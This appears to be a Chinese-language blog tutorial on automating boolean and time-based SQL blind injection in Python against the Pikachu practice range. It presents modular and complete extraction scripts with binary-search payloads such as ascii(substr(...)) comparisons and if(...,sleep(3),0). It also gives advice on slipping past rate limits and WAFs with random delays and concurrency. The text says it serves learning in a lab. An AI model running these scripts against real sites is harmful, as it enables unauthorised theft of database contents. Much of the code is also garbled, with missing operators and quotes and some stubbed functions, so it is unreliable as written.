Python自动化SQL盲注:从原理到Pikachu靶场实战

Python自动化SQL盲注:从原理到Pikachu靶场实战
1. 项目概述为什么我们需要自动化SQL盲注如果你在Pikachu靶场里手动尝试过布尔盲注或者时间盲注大概会有一个深刻的体会这活儿太磨人了。面对一个需要你逐个字符去“猜”的数据库名、表名或者字段值手动构造请求、观察页面响应差异或者计算时间延迟不仅效率低下而且极其容易出错一个字符判断失误整个链条可能就断了。这种重复、机械且对耐心要求极高的过程正是脚本自动化大显身手的地方。这个项目的核心就是利用Python编写一个脚本来自动化完成针对Pikachu靶场中SQL盲注漏洞的利用过程。它解决的不仅仅是“能不能注入”的问题而是将安全测试人员从繁琐的体力劳动中解放出来专注于逻辑分析和结果研判。无论是基于页面内容真/假差异的布尔盲注还是基于响应时间延迟的时间盲注脚本都能以远超人类的速度和精度系统地遍历并提取出目标数据。适合阅读这篇分享的不仅仅是正在学习Web安全、苦于手动注入效率不高的新手也包括那些希望优化自己渗透测试流程、将常见漏洞利用手法工具化的安全从业者。即使你对Python不是特别熟悉但只要了解基本语法和HTTP请求就能跟着思路一步步实现。我们将从最基础的原理讲起拆解每一个关键步骤并分享我在编写这类自动化脚本时踩过的坑和总结的技巧目标是让你看完就能写出一个属于自己的、稳定可靠的盲注自动化工具。2. 靶场环境与漏洞原理深度解析在动手写代码之前我们必须彻底理解我们要攻击的目标和其背后的原理。Pikachu靶场是一个集成了多种Web漏洞的练习平台其SQL注入模块特意设计了不同类型的注入点供我们学习。对于盲注它通常模拟的是应用程序对数据库查询错误进行了“友好化”处理不直接回显数据库错误信息或查询结果但我们依然能通过间接的方式推断信息。2.1 布尔盲注的核心机制布尔盲注的前提是应用程序的页面会根据后端SQL查询语句的执行结果真或假呈现出两种可被观测到的、稳定的状态差异。在Pikachu中这种差异通常表现为查询结果为真页面显示特定的关键词如“登录成功”、“用户存在”。查询结果为假页面不显示该关键词或者显示错误提示如“用户不存在”。攻击者通过精心构造SQL语句将想要查询的信息例如当前数据库名的第一个字符是否为‘a’转化为一个布尔问题True/False然后根据页面响应来判断这个问题的答案。例如Payload可能是1‘ and ascii(substr(database(),1,1))97 --。如果页面显示“用户存在”则说明database()的第一个字符的ASCII码等于97即字母‘a’否则就不等于。注意在实际测试中首先要确认的就是这个“状态差异”是否稳定。有时页面内容会因缓存、动态元素而轻微变化需要找到那个最核心、最稳定的差异点比如某个特定div标签内的文本或者HTTP响应头中的某个字段。2.2 时间盲注的核心机制当页面无论查询真假返回的内容都完全一致时布尔盲注就失效了。这时时间盲注便派上用场。其原理是利用数据库的延时函数如MySQL的sleep() PostgreSQL的pg_sleep()构造一个条件语句如果猜测正确则让数据库等待一段时间再响应如果猜测错误则立即响应。例如Payload1‘ and if(ascii(substr(database(),1,1))97, sleep(3), 0) --。脚本发送请求后会精确计算从发送到接收到第一个字节的响应时间。如果这个时间明显超过了正常响应时间例如大于3秒我们就可以推断猜测是正确的第一个字符是‘a’如果响应很快则猜测错误。实操心得时间盲注对网络环境稳定性要求极高。脚本中必须设置合理的超时时间和延时基准。不能简单地用sleep(3)就判断3秒因为网络本身有波动。我的做法是先发送若干次“必然为假”的请求统计出一个平均响应时间作为基准然后设定一个阈值比如基准时间 2秒超过阈值才认为是触发了延时。2.3 Pikachu盲注点分析以Pikachu的“盲注(base on boolian)”和“盲注(base on time)”关卡为例。我们需要通过Burp Suite或浏览器开发者工具抓包分析其HTTP请求格式。通常它是一个POST或GET请求包含如id、name这样的参数。我们的脚本需要模拟这个请求格式并将我们动态生成的Payload插入到易受攻击的参数中。关键步骤包括确定请求方法GET还是POST。确定参数与格式除了注入点参数是否还有其他必需参数如提交按钮的name、token等。确定结果判断依据布尔型在响应HTML中搜索哪个唯一字符串。时间型测量响应时间并确定延时阈值。3. 自动化脚本设计与核心模块拆解一个健壮的自动化盲注脚本不应该是一个上千行的庞然大物而应该由几个职责清晰、可复用的模块组成。这样的设计便于调试、维护和扩展。我的脚本通常分为以下几个核心模块3.1 请求引擎模块这是脚本与靶场交互的桥梁。我强烈推荐使用requests库它比Python内置的urllib更简洁易用。import requests import time class RequestHandler: def __init__(self, target_url, methodGET, headersNone, cookiesNone): self.url target_url self.method method self.session requests.Session() if headers: self.session.headers.update(headers) if cookies: self.session.cookies.update(cookies) # 设置一个较长的超时时间特别是为了时间盲注 self.session.request lambda method, url, **kwargs: requests.Session.request(self.session, method, url, timeout30, **kwargs) def send(self, paramsNone, dataNone): 发送请求返回响应对象和耗时 start_time time.time() try: if self.method.upper() GET: resp self.session.get(self.url, paramsparams) else: # POST resp self.session.post(self.url, datadata) elapsed time.time() - start_time return resp, elapsed except requests.exceptions.Timeout: print([!] 请求超时) return None, None except requests.exceptions.RequestException as e: print(f[!] 请求失败: {e}) return None, None这个类封装了会话管理、超时处理和基本的错误捕获。使用Session()可以自动维持Cookies对于需要登录态的靶场关卡很重要。3.2 载荷生成器模块这个模块负责根据当前要猜测的数据如数据库名、表名和位置第几位字符生成对应的SQL注入Payload。为了清晰我们将布尔盲注和时间盲注的Payload生成逻辑分开。class PayloadGenerator: def __init__(self, injection_point, db_typemysql): self.injection_point injection_point # 如 “1 and PAYLOAD --” self.db_type db_type def generate_bool_payload(self, query_template, position): 生成布尔盲注Payload。 query_template: 如 ascii(substr((select database()),{pos},1)){guess} position: 字符位置 # 这里先返回模板具体的猜测值由主循环填入 base_payload self.injection_point.replace(PAYLOAD, query_template) return base_payload def generate_time_payload(self, query_template, position, sleep_seconds3): 生成时间盲注Payload。 query_template: 如 ascii(substr((select database()),{pos},1)){guess} if self.db_type mysql: delay_func fsleep({sleep_seconds}) # 可以扩展其他数据库 condition query_template # 例如 ascii(...)97 time_payload fif({condition},{delay_func},0) full_payload self.injection_point.replace(PAYLOAD, time_payload) return full_payload3.3 结果判断器模块这个模块是脚本的“大脑”它根据响应内容或时间判断本次猜测是True还是False。class ResponseJudge: def __init__(self, bool_success_keywordNone, time_threshold2.0, baseline_time0.5): bool_success_keyword: 布尔盲注成功时页面包含的关键词。 time_threshold: 时间盲注判断成功的阈值秒。 baseline_time: 正常网络请求的基准时间用于校准。 self.bool_keyword bool_success_keyword self.time_threshold time_threshold self.baseline baseline_time def judge_by_bool(self, response_text): 基于关键词进行布尔判断 if not self.bool_keyword: raise ValueError(未设置布尔成功关键词) return self.bool_keyword in response_text def judge_by_time(self, elapsed_time): 基于响应时间进行判断 if elapsed_time is None: return False # 如果耗时显著超过基准时间阈值则认为触发了延时 return elapsed_time (self.baseline self.time_threshold) def calibrate_baseline(self, request_handler, normal_payload, num_requests5): 校准基准时间发送多次必然为假的请求计算平均时间 print([*] 正在校准网络基准时间...) total_time 0 for i in range(num_requests): _, elapsed request_handler.send(data{id: normal_payload}) if elapsed: total_time elapsed time.sleep(0.5) # 避免请求过快 self.baseline (total_time / num_requests) * 1.2 # 增加20%余量 print(f[*] 基准时间已校准为: {self.baseline:.3f}秒)3.4 主控与循环逻辑这是将以上模块串联起来的“指挥官”。它控制着猜测的流程从哪个数据开始提取如database()使用哪个字符集如可打印ASCII码32-126以及如何逐步推进。class BlindSQLiAutomator: def __init__(self, request_handler, payload_gen, judge): self.req_handler request_handler self.payload_gen payload_gen self.judge judge self.extracted_data def extract_data(self, query_to_extract, is_time_basedFalse, max_length50): 核心提取函数。 query_to_extract: 要执行的SQL查询如 select database() is_time_based: 是否为时间盲注 max_length: 猜测数据的最大长度 print(f[*] 开始提取数据查询语句: {query_to_extract}) found_length self._get_length(query_to_extract, is_time_based) print(f[] 数据长度约为: {found_length}) for position in range(1, found_length 1): char self._get_char_at_position(query_to_extract, position, is_time_based) if char: self.extracted_data char print(f[] 位置 {position}: {char} - 当前结果: {self.extracted_data}) else: print(f[-] 位置 {position}: 未找到字符可能已结束。) break print(f[] 数据提取完成: {self.extracted_data}) return self.extracted_data def _get_length(self, query, is_time_based): 猜测查询结果的长度 # 使用 length() 函数构造Payload进行猜测 # 例如: length((select database()))10 # 这里实现二分查找算法来高效确定长度 low, high 1, 100 # 假设最大长度100 while low high: mid (low high) // 2 # 构造猜测长度的Payload... # 根据is_time_based选择发送请求并判断 # 如果判断为真则 low mid 1否则 high mid - 1 # (具体实现略下文详述) pass return high def _get_char_at_position(self, query, pos, is_time_based): 在指定位置猜测一个字符 # 定义可猜测的字符集通常是可打印ASCII charset [chr(i) for i in range(32, 127)] # 空格到波浪线 # 同样使用二分查找在字符集中快速定位 low, high 0, len(charset) - 1 while low high: mid (low high) // 2 guess_char charset[mid] guess_ascii ord(guess_char) # 构造猜测字符的Payload... # 发送请求并判断 # 根据判断结果调整low/high pass return charset[high] if high 0 else None4. 核心算法实现二分查找与逐位提取在盲注中最耗时的过程就是逐个猜测。如果我们傻傻地从ASCII码32开始一直猜到126每个位置最多要猜95次效率极低。二分查找算法是这里的速度倍增器。无论是猜测数据长度还是猜测某个位置的字符二分查找都能将时间复杂度从O(n)降低到O(log n)。4.1 实现数据长度猜测假设我们要猜database()的长度。我们构造的Payload逻辑是length((select database())) 中间值。如果页面返回“真”或触发延时说明长度大于中间值我们就在更大的区间搜索否则在更小的区间搜索。def _get_length(self, query, is_time_based): 使用二分查找猜测查询结果的长度 low, high 1, 100 # 假设长度在1到100之间 while low high: mid (low high) // 2 # 构造Payload模板 length_query flength(({query})){mid} if is_time_based: # 时间盲注Payload payload_template fif({length_query},sleep(3),0) full_payload self.payload_gen.injection_point.replace(PAYLOAD, payload_template) resp, elapsed self.req_handler.send(data{id: full_payload}) # 假设参数是id is_true self.judge.judge_by_time(elapsed) else: # 布尔盲注Payload payload_template length_query full_payload self.payload_gen.injection_point.replace(PAYLOAD, payload_template) resp, elapsed self.req_handler.send(data{id: full_payload}) if resp: is_true self.judge.judge_by_bool(resp.text) else: is_true False if is_true: low mid 1 # 长度 mid在右半部分继续找 else: high mid - 1 # 长度 mid在左半部分继续找 time.sleep(0.1) # 短暂延迟避免请求过快被靶场限制 # 循环结束时high就是可能的最大长度因为当lowhigh时high是最后一个满足lengthmid的值 # 但需要验证一下high是否就是准确长度可以再发一个length(...)high的请求确认 return high4.2 实现逐字符提取知道了长度接下来对每一位字符进行二分查找。Payload逻辑变为ascii(substr((select database()),{位置},1)) {中间ASCII值}。def _get_char_at_position(self, query, pos, is_time_based): 使用二分查找猜测指定位置的字符 charset [chr(i) for i in range(32, 127)] # 可打印ASCII字符 low, high 0, len(charset) - 1 while low high: mid (low high) // 2 guess_ascii ord(charset[mid]) # 构造Payload char_query fascii(substr(({query}),{pos},1)){guess_ascii} if is_time_based: payload_template fif({char_query},sleep(3),0) full_payload self.payload_gen.injection_point.replace(PAYLOAD, payload_template) resp, elapsed self.req_handler.send(data{id: full_payload}) is_true self.judge.judge_by_time(elapsed) else: payload_template char_query full_payload self.payload_gen.injection_point.replace(PAYLOAD, payload_template) resp, elapsed self.req_handler.send(data{id: full_payload}) if resp: is_true self.judge.judge_by_bool(resp.text) else: is_true False if is_true: low mid 1 # 实际字符的ASCII码 guess_ascii else: high mid - 1 # 实际字符的ASCII码 guess_ascii time.sleep(0.1) # 循环结束后charset[high] 就是猜测的字符如果high0 # 需要验证当 high 0 时说明字符不在字符集内如NULL if high 0: final_char charset[high] # 可选发送一个等于的请求进行最终确认 ascii(substr(...)) ord(final_char) return final_char else: return None # 或返回空字符串实操心得二分查找的效率提升是巨大的。对于一个100以内的长度最多猜7次2^7128对于一个95个字符的集合猜一个字符最多也只需7次。相比于线性搜索的95次速度提升了十几倍。但要注意二分查找的前提是目标值确实在搜索范围内。如果数据库名包含中文字符超出ASCII 32-126脚本就会失败。因此在实战中可能需要根据实际情况调整字符集或者先判断数据库的字符编码。5. 脚本组装与Pikachu实战演示现在我们把所有模块像搭积木一样组合起来针对Pikachu靶场的一个具体关卡进行实战。假设我们目标是“盲注(base on boolian)”关卡已知其注入点为GET参数id当注入成功时页面会包含文字“You are in”。5.1 针对布尔盲注的完整脚本示例import requests import time # 1. 配置区 TARGET_URL http://your-pikachu-ip/vul/sqli/sqli_blind_b.php INJECTION_POINT 1 and PAYLOAD -- # 观察原始请求得到的注入点格式 SUCCESS_KEYWORD You are in PARAM_NAME id # 注入参数名 REQUEST_METHOD GET # 该关卡通常是GET # 2. 模块实例化 # 请求处理器 session requests.Session() def send_request(payload): 发送单次请求 params {PARAM_NAME: payload} start time.time() try: resp session.get(TARGET_URL, paramsparams, timeout10) elapsed time.time() - start return resp.text, elapsed except Exception as e: print(f请求失败: {e}) return None, None # 判断器 def judge_bool(response_text): return SUCCESS_KEYWORD in response_text if response_text else False # 3. 二分查找函数 (内联实现) def get_length(query): 获取查询结果的长度 low, high 1, 50 while low high: mid (low high) // 2 payload INJECTION_POINT.replace(PAYLOAD, flength(({query})){mid}) resp_text, _ send_request(payload) if judge_bool(resp_text): low mid 1 else: high mid - 1 time.sleep(0.05) # 礼貌延迟 return high def get_char(query, pos): 获取查询结果在指定位置的字符 low, high 32, 126 # ASCII范围 while low high: mid (low high) // 2 payload INJECTION_POINT.replace(PAYLOAD, fascii(substr(({query}),{pos},1)){mid}) resp_text, _ send_request(payload) if judge_bool(resp_text): low mid 1 else: high mid - 1 time.sleep(0.05) if high 32: return chr(high) return None # 4. 主执行流程 if __name__ __main__: print([*] 开始自动化布尔盲注) # 示例提取当前数据库名 query select database() print(f[*] 目标查询: {query}) length get_length(query) print(f[] 推测数据长度: {length}) result for i in range(1, length 1): char get_char(query, i) if char: result char print(f[] 位置 {i}: {char} - 当前结果: {result}) else: print(f[-] 位置 {i} 提取失败) break print(f[] 最终提取结果: {result})5.2 针对时间盲注的调整要点对于时间盲注关卡脚本的核心调整在于send_request函数和判断逻辑。校准基准时间在开始前先发送几次必然为假的请求例如id1‘ and 12 --计算平均响应时间作为baseline。修改判断函数BASELINE_TIME 0.15 # 秒通过校准得到 TIME_THRESHOLD 2.0 # 秒认为触发延时的阈值 def judge_time(elapsed): if elapsed is None: return False # 如果响应时间超过基准阈值则认为条件为真 return elapsed (BASELINE_TIME TIME_THRESHOLD)修改Payload生成在二分查找的get_length和get_char函数中将Payload构造为时间盲注格式例如# 在_get_length函数内部时间盲注的Payload构造 time_payload fif(length(({query})){mid},sleep(3),0) full_payload INJECTION_POINT.replace(PAYLOAD, time_payload) resp_text, elapsed send_request(full_payload) is_true judge_time(elapsed) # 使用时间判断增加请求间隔时间盲注对服务器负载更敏感请求间隔应适当加长避免因请求过快导致延时累积或触发WAF。6. 常见问题、优化策略与避坑指南在实际编写和运行过程中你肯定会遇到各种各样的问题。下面是我总结的一些典型场景和解决方案。6.1 请求被拦截或速度过慢问题脚本跑着跑着突然收不到响应或者靶场返回错误页面如429 Too Many Requests。原因请求频率过高触发了靶场或中间件的速率限制。解决方案增加延迟在每次请求后使用time.sleep()给服务器喘息的时间。对于时间盲注延迟需要更长如0.5-1秒。使用随机延迟固定的延迟容易被识别。可以使用random.uniform(0.5, 1.5)来增加随机性。优化会话确保使用requests.Session()它有助于保持连接池比每次创建新连接更高效。处理Cookies/Session如果靶场有关联登录状态确保在脚本中正确管理会话Cookies。6.2 判断逻辑失效页面不稳定问题布尔盲注时关键词时有时无时间盲注时响应时间波动巨大无法稳定判断。原因页面可能存在动态内容、随机令牌或网络极其不稳定。解决方案增强布尔判断不要只依赖一个关键词。可以结合多个关键词或者判断某个特定HTML元素的出现与否用BeautifulSoup解析。甚至可以通过计算页面相似度如哈希值来判断。时间盲注动态阈值不要用一个固定的阈值。在脚本开始时多次测量“假条件”和“真条件”一个已知的延时请求的响应时间分布动态计算一个可靠的阈值。可以采用“平均值 3倍标准差”之类的统计方法。重试机制对于不确定的响应可以重试1-2次取多数结果作为判断依据。6.3 提取数据不完整或乱码问题提取出的数据库名缺字少符或者出现乱码。原因字符集范围设置不正确如数据库使用UTF-8存了中文但脚本只猜ASCII 32-126。二分查找的边界条件有bug导致字符定位错误。数据中包含不可打印字符或NULL值。解决方案扩展字符集将字符集范围扩大例如range(32, 65535)来覆盖更广的Unicode字符但这会使猜测次数剧增。更聪明的办法是先提取信息的字符集或编码。调试二分查找在开发时打印出每次二分查找的low、mid、high值以及判断结果确保逻辑正确。处理特殊值在_get_char_at_position函数中如果二分查找最终high 0说明该位置可能是NULL或超出字符集应进行标记。6.4 脚本优化与功能扩展一个基础的脚本能跑通但一个优秀的脚本应该更智能、更健壮。多线程/异步优化对于时间盲注每个请求都要等待数秒串行执行极其耗时。可以使用concurrent.futures.ThreadPoolExecutor或asyncio进行并发请求同时对多个字符位置进行猜测能大幅提升效率。但要注意线程池不宜过大否则会拖垮靶场或自己的网络。结果缓存与断点续传提取长数据如表内容可能耗时很长。可以将已提取的结果实时保存到文件如果脚本意外中断可以从断点处继续而不是重头开始。自动识别注入类型可以写一个前置探测函数自动发送布尔和时间两种测试Payload根据响应判断靶场属于哪种盲注类型然后自动调用相应的模块。支持更多数据库目前的Payload主要是MySQL格式。可以扩展PayloadGenerator类支持PostgreSQL、SQL Server等数据库的差异如注释符、延时函数pg_sleep()、WAITFOR DELAY等。6.5 一个实用的“避坑”配置表问题现象可能原因检查点与解决方案脚本卡住无输出网络超时、死循环1. 检查requests超时设置。2. 在二分查找循环内添加print语句调试。3. 检查low和high的更新逻辑是否正确。提取出的字符全是‘~’或‘ ’字符集上下界错误检查_get_char_at_position函数中charset的定义和二分查找的初始low/high值。时间盲注永远返回False延时阈值设置不当重新校准baseline_time。确保sleep秒数足够长如5秒且阈值baseline sleep - 网络抖动余量设置合理。收到大量HTTP 5xx错误请求过快或Payload有误1. 大幅增加请求间隔(time.sleep)。2. 检查Payload语法是否正确特别是引号闭合和注释符。布尔判断时对时错页面关键词不唯一1. 使用更精确的字符串或正则匹配。2. 用BeautifulSoup定位特定元素。3. 对比“真”“假”响应页面的差异寻找更稳定的特征。最后我想强调的是自动化脚本是为了提升效率但绝不能替代思考。在运行脚本前手动验证注入点、理解应用程序逻辑至关重要。脚本输出的结果也需要人工进行合理性校验。把这个脚本当作你的“数字助手”它负责执行重复劳动而你负责指挥和决策。通过这个从原理到实现的过程你不仅能彻底掌握SQL盲注更能获得将复杂手工测试流程工具化的宝贵能力这在未来的安全生涯中会非常受用。